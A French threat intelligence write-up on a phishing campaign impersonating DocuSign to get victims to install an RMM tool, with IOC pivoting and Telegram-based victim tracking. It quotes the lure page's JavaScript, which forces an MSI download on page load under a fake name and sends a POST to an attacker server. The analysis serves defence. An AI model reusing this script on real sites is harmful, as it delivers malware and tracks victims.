Signez ici… et installez un RMM sans le vouloir

Synopsis

Dans cet article de Cyber Threat Intelligence, découvrez comment une campagne de phishing ingénieuse usurpe l'identité de DocuSign pour déployer des charges utiles malveillantes sur les systèmes des victimes.

TL;DR

• Une campagne de phishing ciblant DocuSign utilise un code JavaScript malveillant ;
• Les scripts forcent le téléchargement de charges utiles et suivent les interactions des victimes ;
• L'analyse révèle des infrastructures complètes ;
• L’utilisation d’outils légitimes comme charge finale détournés pour faciliter la chaîne d’attaque.

Préambule

Dans le cadre de notre veille, nous avons récemment mis en évidence une campagne de phishing usurpant la marque de DocuSign. Celle-ci repose sur une chaîne d’attaque classique combinant ingénierie sociale et téléchargement d’une charge utile, puis de son exécution par l’utilisateur.

Nous revenons ici sur l’analyse de cette campagne afin de détailler son fonctionnement, depuis le leurre initial jusqu’à la mise en place de l’accès distant, ainsi que les principaux indicateurs de compromission (Indicator Of Compromise - IOC) identifiés, sans toutefois documenter la charge utile finale déployée sur les systèmes compromis.

Phase d'accès initial

Appât de la victime

La chaîne d’attaque débute généralement par un vecteur d’engagement :

• E-mail de phishing ;
• Site légitime compromis qui redirige l'utilisateur.

Dans les deux cas, l'utilisateur est finalement amené sur une page web hébergée sur une infrastructure contrôlée par l’attaquant et imitant la charte graphique de DocuSign. Une fois sur cette page un code JavaScript s'exécute et invite à télécharger un fichier malveillant présenté sous couvert d’un contenu légitime :

• Un document attendu ;
• Une mise à jour supposée de DocuSign ;
• Tout autre composant présenté comme indispensable à la poursuite de l’action demandée.

L’illustration ci-dessous montre un leurre se présentant comme une mise à jour de DocuSign :

Leurre de demande de mise à jour DocuSign

Visuel

Les captures ci-dessous illustrent le fonctionnement du leurre observé, amenant au téléchargement du fichier mis à sa disposition.

Leurre d'écran de chargement de document

Téléchargement du fichier malveillant

Analyse du code JavaScript malveillant

Objectif

Le script JavaScript (JS) a pour objectif de déclencher et forcer le téléchargement d’un fichier malveillant (toujours un MSI dans la campagne observée), en notifiant l'attaquant lorsque la victime clique sur le bouton de téléchargement.

Définition de la charge utile

Le code définit l’URL d’un installateur MSI hébergé sur une infrastructure externe non affiliée à DocuSign :

const downloadUrl = 'https://[REDACTED]/setup_DocuSignInstaller_V2.8.msi';

Fonction de téléchargement forcé

La fonction "triggerDownload" présentée ci-dessous crée dynamiquement un élément HTML de type <a>, lui associe l’URL de téléchargement puis simule automatiquement un clic afin de déclencher le téléchargement de la charge utile sans interaction explicite de l’utilisateur. Elle tente également de présenter le fichier sous le nom DocuSignInstall.exe, alors que la ressource téléchargée est en réalité un installateur MSI.

function triggerDownload() {

const a = document.createElement('a');
a.href = downloadUrl;
a.download = 'DocuSignInstall.exe';
document.body.appendChild(a);
a.click();
document.body.removeChild(a);

}

Téléchargement automatique à l’ouverture

Dès le chargement de la page, le script déclenche automatiquement le téléchargement de la charge utile, sans qu'aucune action de la part de l'utilisateur ne soit nécessaire.

window.addEventListener('load', function() {

triggerDownload();

});

Signalement de téléchargement

Un second mécanisme de téléchargement de la charge malveillante est disponible aussi via la présence d'un bouton dédié. Ce dernier empêche d'abord le téléchargement de démarrer immédiatement grâce à "event.preventDefault()", puis envoie une requête POST à un serveur pour signaler l'action. Enfin, après un délai de 500 millisecondes, il lance le téléchargement via la fonction triggerDownload().

Requête POST sans données

La requête POST envoyée au serveur ne contient aucune donnée. On suppose que ce mécanisme sert à prévenir le serveur qu'un téléchargement a été initié, sans transmettre d'information supplémentaire. À noter qu'au moment de la rédaction de cet article, le domaine utilisé pour cette notification ne répondait plus.

async function notifyDownloadAndRedirect(event) {

event.preventDefault();

try {

await fetch('https://_[REDACTED]_.mexorax.ic/ftx/notify.php', { method: 'POST' });

} catch (e) {

console.error('Notification failed:', e);

}

setTimeout(() => {

triggerDownload();

}, 500);

}

Hook sur le bouton de téléchargement

Chaque clic sur le bouton de téléchargement envoie d’abord une requête de notification à un serveur contrôlé par l’attaquant, puis déclenche le téléchargement du fichier malveillant depuis un second serveur .

document.getElementById("downloadBtn").addEventListener("click", notifyDownloadAndRedirect);

Récapitulatif de la phase d'accès initial

Il est intéressant de souligner que ce script JavaScript, très basique, ne cherche pas à reproduire les fonctionnalités de DocuSign. Il se limite à deux actions essentielles :

• Déclenchement du téléchargement du fichier malveillant dès que la page se charge ou dès que l’utilisateur clique sur le bouton ;
• Notification instantanée à un serveur contrôlé par l’attaquant dès que l’utilisateur clique sur le bouton de téléchargement.

Phase d'accès final et installation d'un RMM

La phase d’accès final correspond à l’installation d’un outil RMM (Remote Monitoring and Management) par l’utilisateur lui-même, appartenant à Atera Networks Ltd. Ces outils sont légitimes et largement utilisés pour l’administration et le support IT, mais peuvent aussi être détournés pour maintenir un accès distant persistant sur des systèmes compromis.

Dans ce cas, l’outil n’a pas été analysé puisqu’il est considéré comme légitime. Le binaire est signé et dispose d’un certificat valide, ce qui renforce son apparence de légitimité.

L'art du pivot

Identification de sites similaires : pivoter via le titre de la page web

L’analyse débute par l’observation du titre de la page "e-sign", qui constitue le premier élément visible. Pour cette étape, nous avons employé les outils URLScan et Validin. Ce titre constitue le point d’entrée de l’enquête et permet d’identifier rapidement un premier jeu d’IOCs. À partir de ce jeu, nous avons poursuivi l’examen afin de mettre en lumière d’autres indicateurs.

L’illustration ci-dessous présente le nombre total d’IOCs identifiés à partir du seul élément, à savoir le titre.

Nombre total d’IOCs identifiés à partir du titre de la page

Filtrage temporel des IOCs

Au vu de la masse de données collectées, le périmètre d’analyse a été réduit afin de concentrer les investigations sur les éléments les plus récents. Un filtrage temporel de 15 jours a ainsi été appliqué. Ce seuil a été retenu car il permettait de réduire significativement le volume de données tout en conservant un nombre d’IOCs suffisant pour l’analyse. Le volume d’IOCs est ainsi passé de 2 299 à 404.

Analyse des contenus HTML et identification de similitudes avec le patient 0

Nous avons ensuite procédé à l’analyse des contenus HTML associés à chaque IOC, ce qui a permis de mettre en évidence plusieurs similitudes avec le patient 0 et de confirmer le caractère malveillant de chaque IOC. Parmi les éléments observés figurent :

• Des mécanismes JS de téléchargement forcé ;
• L’utilisation de noms distinctifs des charges utiles tels que : setup_DocuSignInstaller_V2.8.msi, docusign.dmg, ScreenConnect.ClientSetup.msi, Docusign.Client.msi ;
• Des mécanismes JS de tracking des utilisateurs incluant la collecte d’informations détaillées de télémétrie sur l’environnement des victimes, ainsi que l’envoi de notifications vers des services externes tels que Telegram ;
• Des interfaces utilisateur quasi identiques.

D’autres informations ont été mis en évidence, notamment des chemins d’URL présentant une forte similarité, ce qui suggère l’utilisation de kits de déploiement.

La liste ci-dessous présente le top 5 des chemins d'URL :

• /docusign/mac/utility.php
• /docusign/windows/utility.php
• /docusign/mac
• /ftx
• /docusign/mac/utility.php/download/index.php

L’analyse du lot d'IOCs a fait ressortir plusieurs éléments présents de manière récurrente :

• Le titre de page "e-sign" ;
• Plusieurs chemins d’URL.

Les infrastructures identifiées en combinant les différents éléments ensemble présentaient les mêmes caractéristiques que les IOCs analysés précédemment. Ce qui nous a permis de constituer une liste d’IOCs malveillants confirmés avec un niveau de confiance élevé. La capture ci-dessous présente les résultats obtenus après application de la requête précédente sur URLscan.

Résultats de la requête sur URLScan

Focus sur une infrastructure en particulier

Contexte

Lors de l’analyse des infrastructures, et plus précisément de l’infrastructure N°7 du tableau d'IOCs (voir en fin de document), nous avons relevé une particularité intéressante : elle utilise Telegram et les identifiants (credentials) ainsi que l’ID du bot sont exposés en clair. Nous avons suivi la campagne sur Telegram et nous avons obtenu la visibilité sur des informations collectées qui sont classiques :

• IP ;
• Géolocalisation via service externe ;
• FAI ;
• Chaîne "user-agent" complète ;
• Système d’exploitation ;
• Résolution écran ;
• Fuseau horaire.

Les auteurs sont notifiés en direct sur le canal Telegram de l'activité de chaque visiteur de leur page vérolée. Ils peuvent ainsi identifier qui a simplement ouvert la page, cliqué sur le lien ou encore téléchargé la charge malveillante, ce qui permet de reconstituer le parcours utilisateur étape par étape.

Le tout est centralisé dans un canal Telegram avec un compteur global de visites, donnant une vision en temps réel de l’activité de la campagne. On est clairement sur un système organisé de monitoring, utilisé comme tableau de bord pour suivre et piloter l’opération.

68 IP identifiées, 15 téléchargements de payload confirmés

L'analyse des logs issus du bot Telegram a permis d'identifier 68 adresses IP uniques ayant interagi avec l'infrastructure malveillante entre le 10 et le 12 juin 2026. Parmi celles-ci, 34 correspondent potentiellement à des victimes qui ont cliqué sur le lien de phishing et 15 d'entres elle ont procédé au téléchargement du fichier malveillant.

Récapitulatif de la phase de pivot

La phase de pivot a consisté à exploiter les premiers éléments identifiés lors de l’analyse initiale afin d’élargir le périmètre de recherche et de découvrir de nouveaux indicateurs.

À partir du titre de la page et du premier lot d’IOCs obtenu via URLscan, l’analyse a été enrichie. Cette démarche a permis de mettre en évidence plusieurs motifs récurrents.

Les principaux résultats obtenus lors de cette phase incluent :

• L'identification de nouveaux IOCs à partir du point d’entrée initial (le titre de la page) ;
• La mise en évidence de similarités fortes entre les IOCs ;
• La découverte de structures d’URL homogènes suggérant l’utilisation de kits de déploiement ;
• La découverte d’infrastructures complètes, comprenant les différents domaines de la chaîne de distribution, de suivi, ainsi que les charges utiles associées ;
• L’identification de potentielles victimes.

Ce pivot a également permis de constater que les activités observées ne se limitent pas aux environnements Windows, mais ciblent également des systèmes MacOS.

Conclusion

Cette campagne s’appuie sur une chaîne assez simple : une page frauduleuse et une infrastructure dédiée à la distribution et au suivi des victimes. L’analyse des premiers éléments a rapidement montré que nous n'étions pas face à des artefacts isolés. Plusieurs infrastructures partagent des points communs, avec des schémas d’URL répétitifs et une organisation qui laisse penser à l’usage de kits.

Le pivoting à partir de quelques indicateurs initiaux a été central dans l’enquête. C’est lui qui a permis d’élargir le périmètre et de relier différents éléments entre eux.

On observe aussi que la campagne ne se limite pas à Windows : des traces montrent des environnements MacOS, ce qui indique une volonté de cibler plus large.

Cette analyse démontre qu’à partir de quelques artefacts de départ, il est possible de pivoter vers un volume important d’infrastructures.

Références

• VM (@patialavii), publication X/Twitter, « Observed phishing URLs delivering RMM payload » : signalement d'une campagne DocuSign distribuant un payload ScreenConnect via MSI ;
• Le service urlscan.io : employé pour réaliser les pivots ;
• Le service app.validin.com : employé pour réaliser les pivots ;
• Le service ipinfo.io : utilisé pour la cartographie des infrastructures.

Mapping des techniques observées (MITRE ATT&CK)

L'équivalent renseigné dans la matrice MITRE donne ce visuel :

Matrice MITRE

Cartographie des infrastructures des leurres

À partir des adresses IP identifiées sur URLscan, une cartographie des infrastructures associées aux leurres a été réalisée via ipinfo.io afin d’en visualiser la répartition géographique.

Cartographie des infrastructures associées aux leurres effectuée via ipinfo.io

IOCs identifiés